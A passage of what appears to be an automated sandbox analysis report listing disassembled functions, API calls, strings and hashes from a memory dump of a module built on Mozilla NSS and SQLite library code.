_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6CB8EF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB8F483
%s at line %d of [%.10s], xrefs: 6CB8F492
database corruption, xrefs: 6CB8F48D

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 43bbf35bb56d3738fe54866436192925fb28210162cc10d3995728f9d95f0242
Instruction ID: e5085d081877aba7e6f86d78bff1d04bac2361babbd66f5a0405695933c3e4b6
Opcode Fuzzy Hash: 43bbf35bb56d3738fe54866436192925fb28210162cc10d3995728f9d95f0242
Instruction Fuzzy Hash: 3062F134A062C5CFEB04CF65C480BAEBBB1FF45318F184199D9456BB92D735E886CB92

Function 6CCA9CB0 Relevance: 19.9, APIs: 13, Instructions: 366threadmemoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC8F450: PR_SetError.NSS3(FFFFE005,00000000,00000000,00000000,?,?,?,6CCAB213,?,00000004,?), ref: 6CC8F47E

PR_SetError.NSS3(FFFFD01C,00000000), ref: 6CCA9DC4
PR_SetError.NSS3(FFFFD01C,00000000), ref: 6CCA9DDD
PR_SetError.NSS3(FFFFD064,00000000), ref: 6CCA9EBE
PR_SetError.NSS3(FFFFD01C,00000000), ref: 6CCA9F2B
SECITEM_AllocItem_Util.NSS3(00000000,000009F8,?), ref: 6CCA9F63
memcpy.VCRUNTIME140(?,?,?), ref: 6CCA9F81
PR_GetCurrentThread.NSS3 ref: 6CCAA0A4
PR_SetError.NSS3(?,00000000), ref: 6CCAA0AF
PR_GetCurrentThread.NSS3 ref: 6CCAA0B7
PR_SetError.NSS3(FFFFD01C,00000000), ref: 6CCAA0D2
PR_GetCurrentThread.NSS3 ref: 6CCAA15A
PR_SetError.NSS3(?,00000000), ref: 6CCAA165
PR_GetCurrentThread.NSS3 ref: 6CCAA16D

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Error$CurrentThread$AllocItem_Utilmemcpy
String ID:
API String ID: 808936167-0
Opcode ID: c443007749135d89260bc913472b8e303ac9297a25972bd4365d661a607260e2
Instruction ID: ae9aa3c6118c3ef7cc3f3c3bf263f9fe97c21fa358d272894aba131e4525b65f
Opcode Fuzzy Hash: c443007749135d89260bc913472b8e303ac9297a25972bd4365d661a607260e2
Instruction Fuzzy Hash: A9D1AFB1904305AFE7208F65DC46BDB7BE8AF8831CF044529F94896752F732D949CBA2

Function 6CC2FC80 Relevance: 19.8, APIs: 13, Instructions: 311COMMON

Download Yara Rule

APIs

PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CC2FD06

Part of subcall function 6CC2F670: PORT_ZAlloc_Util.NSS3(00000038), ref: 6CC2F696
Part of subcall function 6CC2F670: PK11_FreeSymKey.NSS3(?,?,?), ref: 6CC2F789
Part of subcall function 6CC2F670: SECITEM_ZfreeItem_Util.NSS3(?,00000001,?,?,?), ref: 6CC2F796
Part of subcall function 6CC2F670: free.MOZGLUE(00000000,?,?,?,?,?), ref: 6CC2F79F
Part of subcall function 6CC2F670: SECITEM_DupItem_Util.NSS3 ref: 6CC2F7F0

Part of subcall function 6CC53440: PK11_GetAllTokens.NSS3 ref: 6CC53481
Part of subcall function 6CC53440: PR_SetError.NSS3(00000000,00000000), ref: 6CC534A3
Part of subcall function 6CC53440: TlsGetValue.KERNEL32 ref: 6CC5352E
Part of subcall function 6CC53440: EnterCriticalSection.KERNEL32(?), ref: 6CC53542
Part of subcall function 6CC53440: PR_Unlock.NSS3(?), ref: 6CC5355B

SECITEM_DupItem_Util.NSS3(?), ref: 6CC2FDAD

Part of subcall function 6CC5FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6CC09003,?), ref: 6CC5FD91
Part of subcall function 6CC5FD80: PORT_Alloc_Util.NSS3(A4686CC6,?), ref: 6CC5FDA2
Part of subcall function 6CC5FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686CC6,?,?), ref: 6CC5FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6CC2FE00

Part of subcall function 6CC5FD80: free.MOZGLUE(00000000,?,?), ref: 6CC5FDD1

Part of subcall function 6CC4E550: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC4E5A0

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC2FEBB
PK11_FreeSymKey.NSS3(00000000), ref: 6CC2FEC8
PK11_HPKE_DestroyContext.NSS3(00000000,00000001), ref: 6CC2FED3
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CC2FF0C
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CC2FF23
PK11_ImportSymKey.NSS3(?,?,00000004,82000105,?,00000000), ref: 6CC2FF4D
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CC2FFDA
PK11_ImportSymKey.NSS3(?,0000402A,00000004,0000010C,?,00000000), ref: 6CC30007
PK11_CreateContextBySymKey.NSS3(?,82000105,?,?), ref: 6CC30029
PR_SetError.NSS3(FFFFE002,00000000), ref: 6CC30044

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_$ErrorUtil$Item_$Alloc_Context$FreeImportfree$CreateCriticalDestroyEnterSectionTokensUnlockValueZfreememcpy
String ID:
API String ID: 138705723-0
Opcode ID: 68c1ee105095ff876ceee3604c168af21f7014aaddd48f803069b15092536222
Instruction ID: 789659f783643ab5237ed4b12d96fa9b9862ff41974006a72724b7579d79b2f8
Opcode Fuzzy Hash: 68c1ee105095ff876ceee3604c168af21f7014aaddd48f803069b15092536222
Instruction Fuzzy Hash: 61B1D2B1604315AFE314CF29C880A6BF7E5FF88308F558A2DE99987A41F734E945CB91

Function 6CC27D60 Relevance: 18.3, APIs: 12, Instructions: 299COMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?), ref: 6CC27DDC

Part of subcall function 6CC607B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6CC08298,?,?,?,6CBFFCE5,?), ref: 6CC607BF
Part of subcall function 6CC607B0: PL_HashTableLookup.NSS3(?,?), ref: 6CC607E6
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC6081B
Part of subcall function 6CC607B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CC60825

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CC27DF3
PK11_PBEKeyGen.NSS3(?,00000000,00000000,00000000,?), ref: 6CC27F07
PK11_GetPadMechanism.NSS3(00000000), ref: 6CC27F57
PK11_UnwrapPrivKey.NSS3(?,00000000,00000000,?,0000001C,00000000,?,?,?,00000000,00000130,00000004,?), ref: 6CC27F98
PK11_FreeSymKey.NSS3(?), ref: 6CC27FC9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC27FDE
PK11_PBEKeyGen.NSS3(?,?,00000000,00000001,?), ref: 6CC28000

Part of subcall function 6CC49430: SECOID_GetAlgorithmTag_Util.NSS3(00000000,?,?,00000000,00000000,?,6CC27F0C,?,00000000,00000000,00000000,?), ref: 6CC4943B
Part of subcall function 6CC49430: SECOID_FindOIDByTag_Util.NSS3(00000000,?,?), ref: 6CC4946B
Part of subcall function 6CC49430: SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?), ref: 6CC49546

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC28110
PK11_FreeSymKey.NSS3(00000000), ref: 6CC2811D
PK11_ImportPublicKey.NSS3(?,?,00000001), ref: 6CC2822D
SECKEY_DestroyPublicKey.NSS3(?), ref: 6CC2823C

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_Util$FindItem_Tag_Zfree$ErrorFreeHashLookupPublicTable$AlgorithmConstDestroyImportMechanismPrivUnwrap
String ID:
API String ID: 1923011919-0
Opcode ID: 6eb79f7f53d53784dc25a641047f2e8164760387bf4812ee4837ee98e7da2fe7
Instruction ID: 839b9e6a110c7a50d778b75647d6074c91d20d5aba5aafa49219ccc333946ac0
Opcode Fuzzy Hash: 6eb79f7f53d53784dc25a641047f2e8164760387bf4812ee4837ee98e7da2fe7
Instruction Fuzzy Hash: A3C16DB1D002199FEB21CF15CC80FEAB7B8AB05308F0081E9E90DA6641F7359E95DFA1

Function 6CC30EC0 Relevance: 16.7, APIs: 11, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_PubDeriveWithKDF.NSS3 ref: 6CC30F8D
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC30FB3
PR_SetError.NSS3(FFFFE00E,00000000), ref: 6CC31006
PK11_FreeSymKey.NSS3(?), ref: 6CC3101C
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC31033
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CC3103F
PK11_FreeSymKey.NSS3(00000000), ref: 6CC31048
memcpy.VCRUNTIME140(?,?,?), ref: 6CC3108E
SECITEM_AllocItem_Util.NSS3(00000000,00000000,?), ref: 6CC310BB
memcpy.VCRUNTIME140(?,00000006,?), ref: 6CC310D6
memcpy.VCRUNTIME140(?,?,?), ref: 6CC3112E

Part of subcall function 6CC31570: htonl.WSOCK32(?,?,?,?,?,?,?,?,6CC308C4,?,?), ref: 6CC315B8
Part of subcall function 6CC31570: htonl.WSOCK32(?,?,?,?,?,?,?,?,?,6CC308C4,?,?), ref: 6CC315C1
Part of subcall function 6CC31570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC3162E
Part of subcall function 6CC31570: PK11_FreeSymKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CC31637

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: K11_$FreeItem_Util$memcpy$AllocZfreehtonl$DeriveErrorWith
String ID:
API String ID: 1510409361-0
Opcode ID: 26e859ace2ebab2f19bd3a9d67e52b970b72df250a5ff65283d01463f4cd5de0
Instruction ID: 2abe1f1a3a74734940b555396f6d1aa1d6654621d77b5a6583b7563c1192315f
Opcode Fuzzy Hash: 26e859ace2ebab2f19bd3a9d67e52b970b72df250a5ff65283d01463f4cd5de0
Instruction Fuzzy Hash: B371F0B5A042158FDB04CFA9EC84AAAB7B0FF48318F14862CE90D97B11F731D956CB91

Function 6CC51CE0 Relevance: 16.2, APIs: 5, Strings: 4, Instructions: 401COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000020), ref: 6CC51F19
memcpy.VCRUNTIME140(?,?,00000020), ref: 6CC52166
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CC5228F
memcpy.VCRUNTIME140(?,?,00000010), ref: 6CC523B8
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC5241C

Strings

serial, xrefs: 6CC522A2
model, xrefs: 6CC523CB, 6CC523EC
manufacturer, xrefs: 6CC52179
token, xrefs: 6CC51F2C

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcpy$Error
String ID: manufacturer$model$serial$token
API String ID: 3204416626-1906384322
Opcode ID: 1466c82fb5c8e8c6221797222dc5f97c9e0b604c02ba15244f4653d383a1833c
Instruction ID: 26fbb388091a8f6e82ed9a9e19bf4de4d33054c654106aef4f3f490fbefcf367
Opcode Fuzzy Hash: 1466c82fb5c8e8c6221797222dc5f97c9e0b604c02ba15244f4653d383a1833c
Instruction Fuzzy Hash: 780264A2D0C7C86EF7318671C85C7C76AE09B4532CF8C166EC5DE86AC3E3A858798355

Function 6CC56C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CC01C6F,00000000,00000004,?,?), ref: 6CC56C3F

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6CC01C6F,00000000,00000004,?,?), ref: 6CC56C60
PR_ExplodeTime.NSS3(00000000,6CC01C6F,?,?,?,?,?,00000000,00000000,00000000,?,6CC01C6F,00000000,00000004,?,?), ref: 6CC56C94

Strings

gfff, xrefs: 6CC56CFD
gfff, xrefs: 6CC56D9C
gfff, xrefs: 6CC56CF5
gfff, xrefs: 6CC56D30
gfff, xrefs: 6CC56D66

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: b5cc12bfb2958c21783994c0d49bd5c0ad82eec700ab084c339b1819cdc5a0a0
Instruction ID: d8681493367f0f6263792fb813414dae425b06b7c0bb37abec388c0ba334194d
Opcode Fuzzy Hash: b5cc12bfb2958c21783994c0d49bd5c0ad82eec700ab084c339b1819cdc5a0a0
Instruction Fuzzy Hash: 25514C72B016494FC70CCDADDC926DAB7DAABA4310F48C23AE442DB781E638E916C751

Function 6CCD8FB0 Relevance: 14.3, APIs: 6, Strings: 2, Instructions: 289COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CCD8FEE
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCD90DC
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCD9118
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCD915C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCD91C2
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CCD9209

Strings

UUUU, xrefs: 6CCD9255
3333, xrefs: 6CCD925E

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _byteswap_ulong$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: 3333$UUUU
API String ID: 1967222509-2679824526
Opcode ID: 421c9d9ee5a87ec87fd8b5bd67eb7fb927f08caac3a3ef247206f26e71c96f80
Instruction ID: 290b2ac628ffab7c2c8b0e4089f85111b14a956711cee0efbe199d047901b0b4
Opcode Fuzzy Hash: 421c9d9ee5a87ec87fd8b5bd67eb7fb927f08caac3a3ef247206f26e71c96f80
Instruction Fuzzy Hash: BEA19E76E001159BDB04CF69DC91BAEB7B5BB48324F0A4129DA05B7751EB36BC01CBA1

Function 6CB90FE0 Relevance: 14.2, APIs: 6, Strings: 2, Instructions: 227COMMON

Download Yara Rule

APIs

Part of subcall function 6CB8CA30: EnterCriticalSection.KERNEL32(?,?,?,6CBEF9C9,?,6CBEF4DA,6CBEF9C9,?,?,6CBB369A), ref: 6CB8CA7A
Part of subcall function 6CB8CA30: LeaveCriticalSection.KERNEL32(?), ref: 6CB8CB26

memset.VCRUNTIME140(00000000,00000000,00000C0A), ref: 6CB9103E
EnterCriticalSection.KERNEL32(?), ref: 6CB91139
LeaveCriticalSection.KERNEL32(?), ref: 6CB91190
sqlite3_free.NSS3(00000000), ref: 6CB91227
sqlite3_log.NSS3(0000001B,delayed %dms for lock/sharing conflict at line %d,00000001,0000BCFE), ref: 6CB9126E
sqlite3_free.NSS3(?), ref: 6CB9127F

Strings

delayed %dms for lock/sharing conflict at line %d, xrefs: 6CB91267
winAccess, xrefs: 6CB9129B

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavesqlite3_free$memsetsqlite3_log
String ID: delayed %dms for lock/sharing conflict at line %d$winAccess
API String ID: 2733752649-1873940834
Opcode ID: ff9a76f4f6d61e133e92da9b2c799723469d7e8f705097476861475bd0f96a03
Instruction ID: 649a16451bc2cb976a262c206dfc96b209e0fbcebb9f595ad864ff4063a58bae
Opcode Fuzzy Hash: ff9a76f4f6d61e133e92da9b2c799723469d7e8f705097476861475bd0f96a03
Instruction Fuzzy Hash: DB7128317452A1ABFB04EF26DC95A6E337DEB87314F180239EA1587A90DB34D801D7A3

Function 6CB9AEC0 Relevance: 13.7, APIs: 9, Instructions: 242COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,00000002,?,6CCBCF46,?,6CB8CDBD,?,6CCBBF31,?,?,?,?,?,?,?), ref: 6CB9B039
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CCBCF46,?,6CB8CDBD,?,6CCBBF31), ref: 6CB9B090
sqlite3_free.NSS3(?,?,?,?,?,?,6CCBCF46,?,6CB8CDBD,?,6CCBBF31), ref: 6CB9B0A2
CloseHandle.KERNEL32(?,?,6CCBCF46,?,6CB8CDBD,?,6CCBBF31,?,?,?,?,?,?,?,?,?), ref: 6CB9B100
sqlite3_free.NSS3(?,?,00000002,?,6CCBCF46,?,6CB8CDBD,?,6CCBBF31,?,?,?,?,?,?,?), ref: 6CB9B115
sqlite3_free.NSS3(?,?,?,?,?,?,6CCBCF46,?,6CB8CDBD,?,6CCBBF31), ref: 6CB9B12D

Part of subcall function 6CB89EE0: EnterCriticalSection.KERNEL32(?,?,?,?,6CB9C6FD,?,?,?,?,6CBEF965,00000000), ref: 6CB89F0E
Part of subcall function 6CB89EE0: LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,6CBEF965,00000000), ref: 6CB89F5D

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: CriticalSection$sqlite3_free$EnterLeave$CloseHandle
String ID:
API String ID: 3155957115-0
Opcode ID: 5de0435a80ed4e5647642936eaf0c57f2b56fada2ee728c9fd87ec57a2061114
Instruction ID: 1416acb1b59f35951e48f5d374c32a81a06a3c6d59a93f6e3f918f08e82ae948
Opcode Fuzzy Hash: 5de0435a80ed4e5647642936eaf0c57f2b56fada2ee728c9fd87ec57a2061114
Instruction Fuzzy Hash: 6891ACB1E042458FEB14CF69C884B7AB7B5FF46308F24463DE45697A50EB35E884CB62

Function 6CC6BD30 Relevance: 13.6, APIs: 9, Instructions: 102COMMON

Download Yara Rule

APIs

NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CC6BD48
NSS_GetAlgorithmPolicy.NSS3(00000006,?), ref: 6CC6BD68
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CC6BD83
NSS_GetAlgorithmPolicy.NSS3(00000005,?), ref: 6CC6BD9E
NSS_GetAlgorithmPolicy.NSS3(0000000A,?), ref: 6CC6BDB9
NSS_GetAlgorithmPolicy.NSS3(00000007,?), ref: 6CC6BDD0
NSS_GetAlgorithmPolicy.NSS3(000000B8,?), ref: 6CC6BDEA
NSS_GetAlgorithmPolicy.NSS3(000000BA,?), ref: 6CC6BE04
NSS_GetAlgorithmPolicy.NSS3(000000BC,?), ref: 6CC6BE1E

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: AlgorithmPolicy
String ID:
API String ID: 2721248240-0
Opcode ID: 0b3bd4a69b1b905091ff96a57a2a65f290d3932efb1949e851fb773ffe148111
Instruction ID: 01c48ef3d6b59bf3d7461c39eeee4a69a0321ed4edabc58d4b92f3502194784a
Opcode Fuzzy Hash: 0b3bd4a69b1b905091ff96a57a2a65f290d3932efb1949e851fb773ffe148111
Instruction Fuzzy Hash: B02191B6E1429957FB004657DED2B8B32789F9174DF080124FA16FEF42F710941886AA

Function 6CD18D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6CD614E4,6CCCCC70), ref: 6CD18D47
PR_GetCurrentThread.NSS3 ref: 6CD18D98

Part of subcall function 6CBF0F00: PR_GetPageSize.NSS3(6CBF0936,FFFFE8AE,?,6CB816B7,00000000,?,6CBF0936,00000000,?,6CB8204A), ref: 6CBF0F1B
Part of subcall function 6CBF0F00: PR_NewLogModule.NSS3(clock,6CBF0936,FFFFE8AE,?,6CB816B7,00000000,?,6CBF0936,00000000,?,6CB8204A), ref: 6CBF0F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6CD18E7B
htons.WSOCK32(?), ref: 6CD18EDB
PR_GetCurrentThread.NSS3 ref: 6CD18F99
PR_GetCurrentThread.NSS3 ref: 6CD1910A

Strings

%u.%u.%u.%u, xrefs: 6CD18E74

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
